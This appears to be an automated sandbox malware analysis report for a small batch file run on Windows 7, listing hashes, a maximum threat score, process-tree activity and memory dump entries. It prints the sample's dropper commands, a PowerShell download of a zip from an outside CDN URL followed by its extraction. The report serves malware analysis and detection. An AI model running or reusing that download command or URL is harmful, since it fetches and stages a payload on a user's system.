1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
122s
max time network
131s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 13:23

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General

Target

tesy - Copy (7).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2980	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2980	powershell.exe
2988	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	2988	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2824 wrote to memory of 2980	2824	cmd.exe	29
PID 2824 wrote to memory of 2980	2824	cmd.exe	29
PID 2824 wrote to memory of 2980	2824	cmd.exe	29
PID 2824 wrote to memory of 2988	2824	cmd.exe	30
PID 2824 wrote to memory of 2988	2824	cmd.exe	30
PID 2824 wrote to memory of 2988	2824	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2988

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
127578ef9b24a2dacf90ed8940fc9cc3

SHA1
b2adbfb97908bb7ab4d288f220b1a7420e2c46bf

SHA256
a54d3d951682b1f9ce2d87aba9582f73e2540fde03744afabc750fd7e48162e4

SHA512
e36e0b0985d54f79cc46bc2c5ce9f74fb7328f6351495a83ca2a5f1af62fdd094cb34307b63e239a02c6df627331a9355616a867759d0a542e4ce17af4063b2c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PRXTZ16PBMAVFFMBMHNX.temp

Filesize
7KB

MD5
127578ef9b24a2dacf90ed8940fc9cc3

SHA1
b2adbfb97908bb7ab4d288f220b1a7420e2c46bf

SHA256
a54d3d951682b1f9ce2d87aba9582f73e2540fde03744afabc750fd7e48162e4

SHA512
e36e0b0985d54f79cc46bc2c5ce9f74fb7328f6351495a83ca2a5f1af62fdd094cb34307b63e239a02c6df627331a9355616a867759d0a542e4ce17af4063b2c

Download Submit
memory/2980-11-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2980-5-0x0000000002470000-0x0000000002478000-memory.dmp

Filesize
32KB

Download
memory/2980-9-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/2980-8-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/2980-10-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2980-4-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/2980-13-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/2980-14-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/2980-12-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/2980-15-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/2980-17-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2980-6-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2980-7-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/2988-32-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download
memory/2988-27-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2988-25-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download
memory/2988-26-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download
memory/2988-28-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2988-24-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download
memory/2988-29-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2988-30-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2988-31-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download
memory/2988-23-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2988-33-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2988-34-0x0000000002740000-0x00000000027C0000-memory.dmp

Filesize
512KB

Download
memory/2988-35-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

Filesize
9.6MB

Download